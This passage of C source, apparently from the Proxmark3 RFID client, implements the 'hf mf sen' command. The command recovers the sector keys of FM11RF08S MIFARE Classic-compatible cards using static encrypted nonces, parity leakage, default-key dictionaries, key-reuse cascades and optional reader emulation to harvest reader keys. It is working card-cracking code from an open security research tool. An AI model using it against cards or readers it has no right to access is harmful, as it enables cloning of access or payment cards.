fm11_probe_queue_t probe_queue = {0};
|
|
fm11_reuse_index_t reuse_index = {0};
|
|
fm11_keylist_t confirmed_reuse_keys = {0};
|
|
int retval = PM3_SUCCESS;
|
|
|
|
uint32_t seeded_known = 0;
|
|
size_t seed_sector_count = MIN(known_sector_count, (size_t)FM11RF08S_NORMAL_SECTORS);
|
|
for (size_t sec = 0; sec < seed_sector_count; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (known_sectors == NULL || known_sectors[sec].foundKey[kt] == 0) {
|
|
continue;
|
|
}
|
|
uint64_t known_key = known_sectors[sec].Key[kt] & 0xFFFFFFFFFFFFULL;
|
|
keys_found[sec][kt] = known_key;
|
|
found_key[sec][kt] = true;
|
|
seeded_known++;
|
|
(void)fm11_keylist_add_unique(&confirmed_reuse_keys, known_key);
|
|
}
|
|
}
|
|
if (seeded_known > 0) {
|
|
fm11_sen_progress(nonce_count, "Seed known keys from earlier autopwn stages", seeded_known, 0);
|
|
}
|
|
|
|
if (reader_mode) {
|
|
retval = fm11_collect_reader_material(&card, reader_keys, reader_found);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
fm11_wait_for_enter("Reader material processed. Place the FM11RF08S card back on the antenna and press Enter to continue");
|
|
}
|
|
|
|
if (default_keys.count == 0) {
|
|
retval = fm11_load_default_keys(&default_keys);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
}
|
|
|
|
if (skip_default_key_check) {
|
|
fm11_sen_progress(nonce_count, "Skip default-key dictionary check already done by autopwn", seeded_known, 0);
|
|
} else {
|
|
fm11_sen_progress(nonce_count, "Check default-key dictionary against nonce evidence", default_keys.count, 0);
|
|
retval = fm11_check_default_keys(uid, nonce_count, &nonces, &default_keys, parity_mask, keys_found, found_key);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] == false) {
|
|
continue;
|
|
}
|
|
uint64_t key = keys_found[sec][kt] & 0xFFFFFFFFFFFFULL;
|
|
if (fm11_keylist_has_key(&confirmed_reuse_keys, key)) {
|
|
continue;
|
|
}
|
|
retval = fm11_keylist_add_unique(&confirmed_reuse_keys, key);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
uint32_t reuse_found = fm11_propagate_key_reuse_online(nonce_count, key, keys_found, found_key);
|
|
if (reuse_found > 0) {
|
|
snprintf(activity, sizeof(activity), "Key re-use propagation confirmed %u additional key slots", reuse_found);
|
|
fm11_sen_progress(nonce_count, activity, reuse_found, 0);
|
|
}
|
|
}
|
|
}
|
|
uint32_t default_found = fm11_count_found_keys(found_key);
|
|
if (default_found > 0) {
|
|
snprintf(activity, sizeof(activity), "Default key check recovered %u key%s", default_found, (default_found == 1) ? "" : "s");
|
|
fm11_sen_progress(nonce_count, activity, default_found, 0);
|
|
}
|
|
}
|
|
|
|
fm11_sen_progress(nonce_count, "Generate first-pass candidates from nT/{nT}/parity", 0, 0);
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
uint8_t real_sec = fm11_real_sector(sec);
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt]) {
|
|
continue;
|
|
}
|
|
uint32_t nt = fm11_bytes_to_u32(nonces.nt[sec][kt]);
|
|
uint32_t nt_enc = fm11_bytes_to_u32(nonces.nt_enc[sec][kt]);
|
|
int res = fm11_generate_1nt_candidates(uid, nt, nt_enc, nonces.par_err[sec][kt], parity_mask, &candidates[sec][kt]);
|
|
if (res != PM3_SUCCESS) {
|
|
retval = res;
|
|
goto out;
|
|
}
|
|
fm11_prioritize_defaults(&candidates[sec][kt], &default_keys);
|
|
}
|
|
uint32_t nt_a = fm11_bytes_to_u32(nonces.nt[sec][0]);
|
|
uint32_t nt_b = fm11_bytes_to_u32(nonces.nt[sec][1]);
|
|
if (nt_a != nt_b && found_key[sec][0] == false && found_key[sec][1] == false) {
|
|
int res = fm11_intersect_pair(nt_a, &candidates[sec][0], nt_b, &candidates[sec][1]);
|
|
if (res != PM3_SUCCESS) {
|
|
retval = res;
|
|
goto out;
|
|
}
|
|
res = fm11_prioritize_by_paired_seed(&candidates[sec][0], &candidates[sec][1]);
|
|
if (res != PM3_SUCCESS) {
|
|
retval = res;
|
|
goto out;
|
|
}
|
|
res = fm11_prioritize_by_paired_seed(&candidates[sec][1], &candidates[sec][0]);
|
|
if (res != PM3_SUCCESS) {
|
|
retval = res;
|
|
goto out;
|
|
}
|
|
fm11_sort_candidates_by_seed_bucket(&candidates[sec][0], &candidates[sec][1]);
|
|
}
|
|
fm11_prioritize_defaults(&candidates[sec][0], &default_keys);
|
|
fm11_prioritize_defaults(&candidates[sec][1], &default_keys);
|
|
if (real_sec == 32) {
|
|
fm11_prioritize_0000_prefix(&candidates[sec][1]);
|
|
}
|
|
snprintf(activity, sizeof(activity), "Prepared sec %03u candidates (A %u / B %u)",
|
|
real_sec, candidates[sec][0].count, candidates[sec][1].count);
|
|
fm11_sen_progress(nonce_count, activity, candidates[sec][0].count + candidates[sec][1].count, 0);
|
|
}
|
|
|
|
if (reader_mode) {
|
|
uint32_t accepted = fm11_apply_reader_material(&nonces, candidates, keys_found, found_key, reader_keys, reader_found);
|
|
if (accepted > 0) {
|
|
snprintf(activity, sizeof(activity), "Applied %u reader-recovered key%s", accepted, (accepted == 1) ? "" : "s");
|
|
fm11_sen_progress(nonce_count, activity, accepted, 0);
|
|
uint32_t reduced = 0;
|
|
uint32_t derived = fm11_offline_fixpoint(&nonces, candidates, keys_found, found_key, &reduced, offline_only);
|
|
if (reduced > 0) {
|
|
snprintf(activity, sizeof(activity), "Reduced paired candidate sets by %u keys", reduced);
|
|
fm11_sen_progress(nonce_count, activity, reduced, 0);
|
|
}
|
|
if (derived > 0) {
|
|
snprintf(activity, sizeof(activity), "Derived %u paired keys from reader material", derived);
|
|
fm11_sen_progress(nonce_count, activity, derived, 0);
|
|
}
|
|
}
|
|
}
|
|
|
|
uint32_t total_candidates = 0;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
total_candidates += candidates[sec][0].count;
|
|
total_candidates += candidates[sec][1].count;
|
|
}
|
|
uint32_t duplicate_candidates = 0;
|
|
uint32_t duplicate_prefix[FM11RF08S_SECTORS][2] = {{0}};
|
|
retval = fm11_prioritize_duplicates(candidates, duplicate_prefix, &duplicate_candidates);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
uint32_t verify_eta = (total_candidates / 2 / FM11RF08S_FCHK_KEYS_PER_SECOND) + 5;
|
|
snprintf(activity, sizeof(activity), "Prioritized candidates (%u duplicate-priority)", duplicate_candidates);
|
|
fm11_sen_progress(nonce_count, activity, total_candidates, verify_eta);
|
|
|
|
retval = fm11_reuse_index_build(candidates, &reuse_index);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
snprintf(activity, sizeof(activity), "Indexed %u candidate refs for key-reuse cascades", reuse_index.ref_count);
|
|
fm11_sen_progress(nonce_count, activity, reuse_index.ref_count, 0);
|
|
|
|
fm11_keylist_t priority = {0};
|
|
uint32_t reuse_eligible = 0;
|
|
retval = fm11_build_reuse_priority_keys(&reuse_index, &priority, FM11RF08S_MAX_GLOBAL_PRIORITY_KEYS, &reuse_eligible);
|
|
if (retval != PM3_SUCCESS) {
|
|
fm11_keylist_free(&priority);
|
|
goto out;
|
|
}
|
|
uint32_t found_before = fm11_count_found_keys(found_key);
|
|
uint32_t priority_count = priority.count;
|
|
if (priority_count > 0) {
|
|
snprintf(activity, sizeof(activity), "Batch-check top %u/%u cross-sector reuse keys with fchk",
|
|
priority_count, reuse_eligible);
|
|
fm11_sen_progress(nonce_count, activity, priority_count, (priority_count / FM11RF08S_FCHK_KEYS_PER_SECOND) + 2);
|
|
retval = fm11_verify_global_priority_keys(&priority, keys_found, found_key);
|
|
fm11_keylist_free(&priority);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
uint32_t found_after = fm11_count_found_keys(found_key);
|
|
if (found_after > found_before) {
|
|
snprintf(activity, sizeof(activity), "Reuse-priority fchk recovered %u normal-sector keys", found_after - found_before);
|
|
fm11_sen_progress(nonce_count, activity, found_after - found_before, 0);
|
|
}
|
|
} else {
|
|
fm11_keylist_free(&priority);
|
|
}
|
|
|
|
priority = (fm11_keylist_t) {0};
|
|
retval = fm11_build_global_priority_keys(candidates, duplicate_prefix, &priority);
|
|
if (retval != PM3_SUCCESS) {
|
|
fm11_keylist_free(&priority);
|
|
goto out;
|
|
}
|
|
found_before = fm11_count_found_keys(found_key);
|
|
priority_count = priority.count;
|
|
if (priority_count > 0 && priority_count <= FM11RF08S_MAX_GLOBAL_PRIORITY_KEYS) {
|
|
snprintf(activity, sizeof(activity), "Batch-check %u duplicate-priority keys with fchk", priority_count);
|
|
fm11_sen_progress(nonce_count, activity, priority_count, (priority_count / FM11RF08S_FCHK_KEYS_PER_SECOND) + 2);
|
|
retval = fm11_verify_global_priority_keys(&priority, keys_found, found_key);
|
|
fm11_keylist_free(&priority);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
uint32_t found_after = fm11_count_found_keys(found_key);
|
|
if (found_after > found_before) {
|
|
snprintf(activity, sizeof(activity), "Batch fchk recovered %u normal-sector keys", found_after - found_before);
|
|
fm11_sen_progress(nonce_count, activity, found_after - found_before, 0);
|
|
}
|
|
} else {
|
|
fm11_keylist_free(&priority);
|
|
if (priority_count > FM11RF08S_MAX_GLOBAL_PRIORITY_KEYS) {
|
|
snprintf(activity, sizeof(activity), "Skip global batch (%u keys > limit), use per-sector", priority_count);
|
|
fm11_sen_progress(nonce_count, activity, priority_count, 0);
|
|
}
|
|
}
|
|
uint32_t propagated = fm11_propagate_found_keys(&nonces, candidates, keys_found, found_key);
|
|
if (propagated > 0) {
|
|
snprintf(activity, sizeof(activity), "Propagated %u reused candidate key matches", propagated);
|
|
fm11_sen_progress(nonce_count, activity, propagated, 0);
|
|
}
|
|
|
|
uint32_t reduced = 0;
|
|
uint32_t derived = fm11_offline_fixpoint(&nonces, candidates, keys_found, found_key, &reduced, offline_only);
|
|
if (reduced > 0) {
|
|
snprintf(activity, sizeof(activity), "Reduced paired candidate sets by %u keys", reduced);
|
|
fm11_sen_progress(nonce_count, activity, reduced, 0);
|
|
}
|
|
if (derived > 0) {
|
|
snprintf(activity, sizeof(activity), "Derived %u paired keys from matching FM11RF08S seeds", derived);
|
|
fm11_sen_progress(nonce_count, activity, derived, 0);
|
|
}
|
|
|
|
retval = fm11_reuse_index_build(candidates, &reuse_index);
|
|
if (retval != PM3_SUCCESS) {
|
|
goto out;
|
|
}
|
|
snprintf(activity, sizeof(activity), "Refreshed %u candidate refs for key-reuse cascades", reuse_index.ref_count);
|
|
fm11_sen_progress(nonce_count, activity, reuse_index.ref_count, 0);
|
|
|
|
total_candidates = fm11_count_unfound_candidates(candidates, found_key);
|
|
if (max_online_candidates > 0 && (int)total_candidates > max_online_candidates) {
|
|
PrintAndLogEx(WARNING, "Total unfound candidates (%u) exceeds --max-online-candidates limit (%d), stopping",
|
|
total_candidates, max_online_candidates);
|
|
goto out;
|
|
}
|
|
if (offline_only) {
|
|
fm11_sen_progress_footer();
|
|
fm11_print_key_table(keys_found, found_key);
|
|
retval = fm11_save_recovery_outputs(&card, &nonces, keys_found, found_key, no_oob, collected_with_data);
|
|
PrintAndLogEx(SUCCESS, "time in sen " _YELLOW_("%.0f") " seconds", (float)(msclock() - t1) / 1000.0);
|
|
goto out;
|
|
}
|
|
verify_eta = (total_candidates / 2 / FM11RF08S_FCHK_KEYS_PER_SECOND) + 5;
|
|
fm11_sen_progress(nonce_count, "Measurement: score unresolved candidate paths", total_candidates, 0);
|
|
fm11_measure_candidate_paths(&nonces, candidates, keys_found, found_key, nonce_count);
|
|
fm11_sen_progress(nonce_count, "Verify remaining sector-specific candidates", total_candidates, verify_eta);
|
|
/*
|
|
* Dynamic priority verification: after every cascade, pick the list with
|
|
* the lowest measured path cost. Candidate lists are generated once from
|
|
* vetted evidence; expanding them after online misses only increases work.
|
|
*/
|
|
bool exhausted[FM11RF08S_SECTORS][2] = {{false}};
|
|
uint32_t probe_pos = 0;
|
|
while (true) {
|
|
if (kbd_enter_pressed()) {
|
|
retval = PM3_EOPABORTED;
|
|
goto out;
|
|
}
|
|
/* find the cheapest unfound, non-exhausted (sec, kt) pair */
|
|
uint8_t best_sec = 0xFF, best_kt = 0;
|
|
uint32_t best_cost = UINT32_MAX;
|
|
uint32_t best_count = UINT32_MAX;
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
for (uint8_t kt = 0; kt < 2; kt++) {
|
|
if (found_key[sec][kt] || exhausted[sec][kt]) {
|
|
continue;
|
|
}
|
|
uint32_t cnt = candidates[sec][kt].count;
|
|
uint32_t cost = fm11_estimate_candidate_path_cost(&nonces, candidates, keys_found, found_key, sec, kt);
|
|
if (sec == FM11RF08S_SECTORS - 1 && kt == 1 && cnt > 0) {
|
|
// Prioritize sector 32 keyB over keyA
|
|
if (best_sec == FM11RF08S_SECTORS - 1) {
|
|
cost = best_cost > 0 ? best_cost - 1 : 0;
|
|
}
|
|
}
|
|
if (cost < best_cost || (cost == best_cost && cnt < best_count)) {
|
|
best_cost = cost;
|
|
best_count = cnt;
|
|
best_sec = sec;
|
|
best_kt = kt;
|
|
}
|
|
}
|
|
}
|
|
if (best_sec == 0xFF) {
|
|
break; /* all sectors/keys found or exhausted */
|
|
}
|
|
uint8_t sec = best_sec;
|
|
uint8_t kt = best_kt;
|
|
uint8_t real_sec = fm11_real_sector(sec);
|
|
if (found_key[sec][kt ^ 1]) {
|
|
uint32_t nt_target = fm11_bytes_to_u32(nonces.nt[sec][kt]);
|
|
uint32_t nt_known = fm11_bytes_to_u32(nonces.nt[sec][kt ^ 1]);
|
|
if (nt_target != nt_known) {
|
|
uint16_t seed = fm11_compute_seednt16_nt32(nt_known, keys_found[sec][kt ^ 1]);
|
|
uint32_t old_count = 0;
|
|
uint32_t new_count = 0;
|
|
int filter_res = fm11_filter_candidates_by_seed(&candidates[sec][kt], nt_target, seed, &old_count, &new_count);
|
|
if (filter_res != PM3_SUCCESS) {
|
|
retval = filter_res;
|
|
goto out;
|
|
}
|
|
if (old_count > new_count) {
|
|
snprintf(activity, sizeof(activity), "Reduced paired candidate set by %u keys", old_count - new_count);
|
|
fm11_sen_progress(nonce_count, activity, old_count - new_count, 0);
|
|
}
|
|
} else {
|
|
fm11_keylist_promote_existing(&candidates[sec][kt], keys_found[sec][kt ^ 1]);
|
|
}
|
|
}
|
|
snprintf(activity, sizeof(activity), "sec %03u key %c - checking %u candidates", real_sec, kt ? 'B' : 'A', candidates[sec][kt].count);
|
|
|
|
fm11_sen_progress(nonce_count, activity, candidates[sec][kt].count,
|
|
(candidates[sec][kt].count / 2 / FM11RF08S_FCHK_KEYS_PER_SECOND) + 1);
|
|
uint64_t key = 0;
|
|
int res = fm11_verify_candidates(real_sec, kt, &candidates[sec][kt], &key);
|
|
if (res == PM3_SUCCESS) {
|
|
propagated = fm11_accept_found_key_global(&nonces, candidates, keys_found, found_key, &reuse_index, sec, kt, key, &probe_queue);
|
|
fm11_print_key_hit_row(nonce_count, sec, kt, key, found_key);
|
|
uint32_t reuse_found = 0;
|
|
if (fm11_keylist_has_key(&confirmed_reuse_keys, key) == false) {
|
|
(void)fm11_keylist_add_unique(&confirmed_reuse_keys, key);
|
|
reuse_found = fm11_propagate_key_reuse_online(nonce_count, key, keys_found, found_key);
|
|
}
|
|
if (reuse_found > 0) {
|
|
snprintf(activity, sizeof(activity), "Key re-use propagation confirmed %u additional key slots", reuse_found);
|
|
fm11_sen_progress(nonce_count, activity, reuse_found, 0);
|
|
propagated += fm11_accept_found_key_global(&nonces, candidates, keys_found, found_key, &reuse_index, sec, kt, key, &probe_queue);
|
|
}
|
|
if (propagated > 1) {
|
|
snprintf(activity, sizeof(activity), "Propagated %u reused candidate key matches", propagated - 1);
|
|
fm11_sen_progress(nonce_count, activity, propagated - 1, 0);
|
|
}
|
|
reduced = 0;
|
|
derived = fm11_offline_fixpoint(&nonces, candidates, keys_found, found_key, &reduced, false);
|
|
if (reduced > 0) {
|
|
snprintf(activity, sizeof(activity), "Reduced paired candidate sets by %u keys", reduced);
|
|
fm11_sen_progress(nonce_count, activity, reduced, 0);
|
|
}
|
|
if (derived > 0) {
|
|
snprintf(activity, sizeof(activity), "Derived %u additional paired keys", derived);
|
|
fm11_sen_progress(nonce_count, activity, derived, 0);
|
|
}
|
|
while (probe_pos < probe_queue.count) {
|
|
uint8_t ps = probe_queue.entries[probe_pos].sec;
|
|
uint8_t pk = probe_queue.entries[probe_pos].key_type;
|
|
uint64_t pkey = probe_queue.entries[probe_pos].key;
|
|
probe_pos++;
|
|
if (found_key[ps][pk]) {
|
|
continue;
|
|
}
|
|
fm11_keylist_t single = {0};
|
|
if (fm11_keylist_push(&single, pkey, 0) == PM3_SUCCESS) {
|
|
uint8_t real_ps = fm11_real_sector(ps);
|
|
uint64_t out_key = 0;
|
|
if (fm11_verify_candidates(real_ps, pk, &single, &out_key) == PM3_SUCCESS) {
|
|
uint32_t prop = fm11_accept_found_key_global(&nonces, candidates, keys_found, found_key, &reuse_index, ps, pk, out_key, &probe_queue);
|
|
if (prop > 0) {
|
|
fm11_print_key_hit_row(nonce_count, ps, pk, out_key, found_key);
|
|
}
|
|
uint32_t reuse_extra = 0;
|
|
if (fm11_keylist_has_key(&confirmed_reuse_keys, out_key) == false) {
|
|
(void)fm11_keylist_add_unique(&confirmed_reuse_keys, out_key);
|
|
reuse_extra = fm11_propagate_key_reuse_online(nonce_count, out_key, keys_found, found_key);
|
|
}
|
|
if (reuse_extra > 0) {
|
|
snprintf(activity, sizeof(activity), "Key re-use propagation confirmed %u additional key slots", reuse_extra);
|
|
fm11_sen_progress(nonce_count, activity, reuse_extra, 0);
|
|
}
|
|
}
|
|
fm11_keylist_free(&single);
|
|
}
|
|
}
|
|
total_candidates = fm11_count_unfound_candidates(candidates, found_key);
|
|
} else if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) {
|
|
retval = res;
|
|
goto out;
|
|
} else {
|
|
/* candidate set exhausted without finding a key */
|
|
exhausted[sec][kt] = true;
|
|
}
|
|
}
|
|
|
|
/* drain probe queue: verify single-key probes scheduled by fm11_accept_found_key_global */
|
|
for (uint32_t pi = probe_pos; pi < probe_queue.count; pi++) {
|
|
uint8_t ps = probe_queue.entries[pi].sec;
|
|
uint8_t pk = probe_queue.entries[pi].key_type;
|
|
uint64_t pkey = probe_queue.entries[pi].key;
|
|
if (found_key[ps][pk]) {
|
|
continue;
|
|
}
|
|
fm11_keylist_t single = {0};
|
|
if (fm11_keylist_push(&single, pkey, 0) == PM3_SUCCESS) {
|
|
uint8_t real_ps = fm11_real_sector(ps);
|
|
uint64_t out_key = 0;
|
|
if (fm11_verify_candidates(real_ps, pk, &single, &out_key) == PM3_SUCCESS) {
|
|
uint32_t prop = fm11_accept_found_key_global(&nonces, candidates, keys_found, found_key, &reuse_index, ps, pk, out_key, &probe_queue);
|
|
if (prop > 0) {
|
|
fm11_print_key_hit_row(nonce_count, ps, pk, out_key, found_key);
|
|
}
|
|
uint32_t reuse_extra = 0;
|
|
if (fm11_keylist_has_key(&confirmed_reuse_keys, out_key) == false) {
|
|
(void)fm11_keylist_add_unique(&confirmed_reuse_keys, out_key);
|
|
reuse_extra = fm11_propagate_key_reuse_online(nonce_count, out_key, keys_found, found_key);
|
|
}
|
|
if (reuse_extra > 0) {
|
|
snprintf(activity, sizeof(activity), "Key re-use propagation confirmed %u additional key slots", reuse_extra);
|
|
fm11_sen_progress(nonce_count, activity, reuse_extra, 0);
|
|
}
|
|
}
|
|
fm11_keylist_free(&single);
|
|
}
|
|
}
|
|
|
|
fm11_sen_progress_footer();
|
|
fm11_print_key_table(keys_found, found_key);
|
|
retval = fm11_save_recovery_outputs(&card, &nonces, keys_found, found_key, no_oob, collected_with_data);
|
|
PrintAndLogEx(SUCCESS, "time in sen " _YELLOW_("%.0f") " seconds", (float)(msclock() - t1) / 1000.0);
|
|
|
|
out:
|
|
fm11_reuse_index_free(&reuse_index);
|
|
fm11_keylist_free(&confirmed_reuse_keys);
|
|
fm11_keylist_free(&default_keys);
|
|
for (uint8_t sec = 0; sec < FM11RF08S_SECTORS; sec++) {
|
|
fm11_keylist_free(&candidates[sec][0]);
|
|
fm11_keylist_free(&candidates[sec][1]);
|
|
}
|
|
return retval;
|
|
}
|
|
|
|
int CmdHF14AMfSEN(const char *Cmd) {
|
|
CLIParserContext *ctx;
|
|
CLIParserInit(&ctx, "hf mf sen",
|
|
"Recover FM11RF08S keys using static encrypted nonce evidence in native client code",
|
|
"hf mf sen\n"
|
|
"hf mf sen --keep-nonces\n"
|
|
"hf mf sen --no-oob\n"
|
|
"hf mf sen --reader\n");
|
|
void *argtable[] = {
|
|
arg_param_begin,
|
|
arg_lit0(NULL, "keep-nonces", "save collected nonce/data JSON evidence"),
|
|
arg_lit0(NULL, "no-oob", "do not include FM11RF08S out-of-bounds sector 32 in key file"),
|
|
arg_lit0(NULL, "reader", "pre-pass: emulate this UID to a reader and digest recovered reader keys"),
|
|
arg_lit0(NULL, "offline-only", "stop after offline filtering, do not verify online"),
|
|
arg_lit0(NULL, "online-confirm", "only do online confirmation (skip generation if nonces loaded)"),
|
|
arg_int0(NULL, "max-online-candidates", "<n>", "abort online phase if total candidates exceed this limit"),
|
|
arg_str0(NULL, "parity-mask", "<hex>", "parity filter mask 1..F (default 1 = vetted staticnested_1nt behavior)"),
|
|
arg_param_end
|
|
};
|
|
CLIExecWithReturn(ctx, Cmd, argtable, true);
|
|
bool keep_nonces = arg_get_lit(ctx, 1);
|
|
bool no_oob = arg_get_lit(ctx, 2);
|
|
bool reader_mode = arg_get_lit(ctx, 3);
|
|
bool offline_only = arg_get_lit(ctx, 4);
|
|
bool online_confirm = arg_get_lit(ctx, 5);
|
|
int max_online_candidates = arg_get_int_def(ctx, 6, 0);
|
|
/* Only bit 0 (byte 0 parity) carries reliable data leakage from FM11RF08S.
|
|
* Bits 1-3 are not valid keystream leakage for this card variant - using
|
|
* them filters out correct keys. Override via --parity-mask if needed for
|
|
* any weird chinese clones, normally you should never use this parameter. */
|
|
uint8_t parity_mask = 0x1;
|
|
{
|
|
int pm_len = 0;
|
|
char pm_str[8] = {0};
|
|
if (arg_get_str_len(ctx, 7) > 0) {
|
|
CLIGetStrWithReturn(ctx, 7, (uint8_t *)pm_str, &pm_len);
|
|
unsigned long pm_val = strtoul(pm_str, NULL, 16);
|
|
if (pm_val >= 1 && pm_val <= 0xF) {
|
|
parity_mask = (uint8_t)(pm_val & 0x0F);
|
|
}
|
|
}
|
|
}
|
|
(void)online_confirm;
|
|
CLIParserFree(ctx);
|
|
|
|
return HFMFSENRecover(keep_nonces, no_oob, reader_mode, offline_only, max_online_candidates, parity_mask, false, NULL, 0);
|
|
}
|